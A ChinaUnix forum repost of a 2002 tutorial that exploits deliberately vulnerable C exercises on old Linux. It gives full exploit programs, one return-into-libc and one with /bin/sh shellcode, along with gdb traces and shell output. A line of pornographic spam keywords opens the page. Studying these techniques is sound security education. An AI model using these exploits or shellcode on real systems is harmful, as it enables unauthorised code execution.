亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費注冊 查看新帖 |

Chinaunix

  平臺 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
查看: 1528 | 回復: 2
打印 上一主題 下一主題

非安全編程演示之高級篇1[轉貼] [復制鏈接]

論壇徽章:
0
跳轉到指定樓層
1 [收藏(0)] [報告]
發(fā)表于 2003-05-26 10:44 |只看該作者 |倒序瀏覽
注:本文轉自安全焦點(http://www.xfocus.org/)

by alert7 < alert7@netguard.com.cn >;
主頁: http://www.xfocus.org/ http://www.whitecell.org/
公司:華泰網(wǎng)安 < http://www.netguard.com.cn >;
時間: 2002-1-17

★★ 三 高級篇

測試環(huán)境 redhat 6.2 glibc 2.1.3


★ 3.1 演示一

/* e1.c *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* jumpy vfprintf, Batman! */

int main(int argv,char **argc) {
/* Can you do it changing the stack? */
/* Can you do it without changing it? */
printf(argc[1]);
while(1);
}
請參考拙作<<利用格式化串覆蓋*printf()系列函數(shù)本身的返回地址>;>;


★ 3.2 演示二

/* e2.c *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* Now, your misson is to make abo1 act like this other program:
*
char buf[100];

while (1) {
scanf("%100s",buf);
system(buf);
}

* But, you cannot execute code in stack.
*/

int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
唯一需要滿足的條件是stack是不能運行的。

[alert7@redhat62 alert7]$ ./e2 `perl -e 'print "a"x264'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e2 core -q
Core was generated by `./e2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x61616161 in ?? ()

/* exp_e2.c
* alert7 exploit for e2
*/
#include <stdio.h>;

#define RET_POSITION 260
#define NOP 0x90
#define BUFADDR 0xbffff968
#define SYSTEM 0x4005aae0
char shell[]="/bin/sh"; /* .string \"/bin/sh\" */

int main(int argc,char **argv)
{
char buff[1024],*ptr;
int retaddr;
int i;

retaddr=SYSTEM;
if(argc>;1)
retaddr=SYSTEM+atoi(argv[1]);

bzero(buff,1024);
for(i=0;i<300;i++)
buff=NOP;
*((long *)&(buff[RET_POSITION-4]))=BUFADDR+4*3+strlen(shell);
*((long *)&(buff[RET_POSITION]))=retaddr;
*((long *)&(buff[RET_POSITION+4]))=0xaabbccdd;//當system返回時候的eip
*((long *)&(buff[RET_POSITION+8]))=BUFADDR+RET_POSITION+4*3;
ptr=buff+RET_POSITION+12;
strcpy(ptr,shell);
printf("Jump to 0x%08x\n",retaddr);

execl("./e2","e2",buff,0);
}
[alert7@redhat]$ gcc -o exp_e2 exp_e2.c
[alert7@redhat]$ ./exp_e2
Jump to 0x4005aae0
bash$ id
uid=501(alert7) gid=501(alert7) groups=501(alert7)
bash$ exit
exit
Segmentation fault (core dumped)

內存增長方向
------>;
| xxxxxx | EBP | EIP | EIP1 | 參數(shù)指針 | /bin/sh |
| 260個bytes | |
|
|-->;main執(zhí)行ret后的esp,ebp值為EBP
EIP1為system調用后的返回地址(當然,假如system返回的話)
參數(shù)指針指向/bin/sh
這里我們使EIP1為0xaabbccdd,所以/bin/sh一返回就在0xaabbccdd coredump了。
也就是說只要我們精心構造,就可以構造一個函數(shù)調用鏈。比如我們需要調用
setuid(0)->;system("/bin/sh"->;exit(0);

該exploit可以成功,很大程度上是因為SYSTEM的地址不包含0,也就是stack不
可執(zhí)行補丁沒有使library庫mmap到內存低端。

更多的擊敗不可執(zhí)行stack補丁可參考:
<<繞過Linux不可執(zhí)行堆棧保護的方法淺析>;>; by waring3 <waring3@nsfocus.com>;
和最近p58上的
<<The advanced return-into-lib(c) exploits>;>; by Nergal <nergal@owl.openwall.com>;


★ 3.3 演示三

/* e3.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* are you an enviromental threat */

char buf[256];

int main(int argv,char **argc) {
strcpy(buf,argc[1]);
setenv("ABO",argc[2],1);
while(1);
}
[alert7@redhat]$ uname -a
Linux redhat 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
[alert7@redhat]$ gcc -o e3 e3.c -static //靜態(tài)編譯的時候才會出現(xiàn)這樣的情況
[alert7@redhat]$ ./e3 `perl -e 'print "a"x267'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x616161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e3 `perl -e 'print "a"x268'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
(gdb) bt
#0 0x61616161 in ?? ()
#1 0x804ac85 in __libc_realloc (oldmem=0x0, bytes=8 at malloc.c:3209
#2 0x804d18b in realloc_hook_ini (ptr=0x0, sz=88, caller=0x804857c)
at malloc.c:1770
#3 0x804abb3 in __libc_realloc (oldmem=0x0, bytes=8 at malloc.c:3196
#4 0x804857c in __add_to_environ (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
combined=0x0, replace=1) at ../sysdeps/generic/setenv.c:145
#5 0x804882b in __setenv (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
replace=1) at ../sysdeps/generic/setenv.c:263
#6 0x80481ce in main ()
#7 0x804831b in __libc_start_main (main=0x80481a0 <main>;, argc=3,
argv=0xbffffb24, init=0x80480b4 <_init>;, fini=0x80718ac <_fini>;,
rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92

根據(jù)上面的條件,我們可以完全不必理會setenv()內部一系列到底發(fā)生了什么。只需要知道
在buf+264的地方放入一個值,該值就會變成EIP。

/* exp_e3.c
* alert7 exploit for static e3
*/
#include <stdio.h>;

#define RET_POSITION 264
#define NOP 0x90
#define BUFADDR 0x807bf60//0xaabbccdd
char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */

int main(int argc,char **argv)
{
char buff[1024],*ptr;
int retaddr;
int i;

retaddr=BUFADDR;
if(argc>;1)
retaddr=BUFADDR+atoi(argv[1]);

bzero(buff,1024);
for(i=0;i<1024;i+=4)
*((long *)&(buff))=retaddr;

for(i=0;i<100;i++)
buff=NOP;

ptr=buff+50;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode;
//現(xiàn)在buff的內容為
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0
printf("Jump to 0x%08x\n",retaddr);

execl("./e3","e3",buff,0);
}
[alert7@redhat62 alert7]$ gcc -o exp_e3 exp_e3.c
[alert7@redhat62 alert7]$ ./exp_e3
Jump to 0x0807bf60
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功

shellcode是放在heap里的,所以可能可以繞過一些不可執(zhí)行stack的保護。
需猜測shellcode在heap中的地址,也失去了一些通用性。

跟蹤了半天,發(fā)現(xiàn)還是靜態(tài)編譯的__libc_malloc()的問題

0x8049ff5 <__libc_malloc+89>;: mov 0x807c068,%eax
0x8049ffa <__libc_malloc+94>;: test %eax,%eax
0x8049ffc <__libc_malloc+96>;: je 0x804a010 <__libc_malloc+116>;
0x8049ffe <__libc_malloc+98>;: push $0x0
0x804a000 <__libc_malloc+100>;: call *%eax

(gdb) i reg eax
eax 0x61616161 1633771873
(gdb) x 0x807c068
0x807c068 <__libc_internal_tsd_get>;: 0x61616161
(gdb) p & __libc_internal_tsd_get
$1 = (void *(**)()) 0x807c068
(gdb) p __libc_internal_tsd_get
$2 = (void *(*)()) 0x61616161

我們的數(shù)據(jù)覆蓋到了__libc_internal_tsd_get()函數(shù)地址,使
__libc_internal_tsd_get()指向0x61616161.所以Segmentation fault
不知道__libc_internal_tsd_get()在這里有何作用?暫時我也不知道,郁悶~

論壇徽章:
1
榮譽版主
日期:2011-11-23 16:44:17
2 [報告]
發(fā)表于 2003-05-26 13:34 |只看該作者

非安全編程演示之高級篇1[轉貼]

opcx 兄,感謝你貼了這些帖子,要是能夠整理一下,或者用code功能,這樣會更好一些。
還有,可以把相關的東西發(fā)在一個帖子中,這樣以后查閱方便。

論壇徽章:
0
3 [報告]
發(fā)表于 2003-06-03 11:20 |只看該作者

非安全編程演示之高級篇1[轉貼]

不客氣,  我知道了!!
您需要登錄后才可以回帖 登錄 | 注冊

本版積分規(guī)則 發(fā)表回復

  

北京盛拓優(yōu)訊信息技術有限公司. 版權所有 京ICP備16024965號-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報專區(qū)
中國互聯(lián)網(wǎng)協(xié)會會員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關心和支持過ChinaUnix的朋友們 轉載本站內容請注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP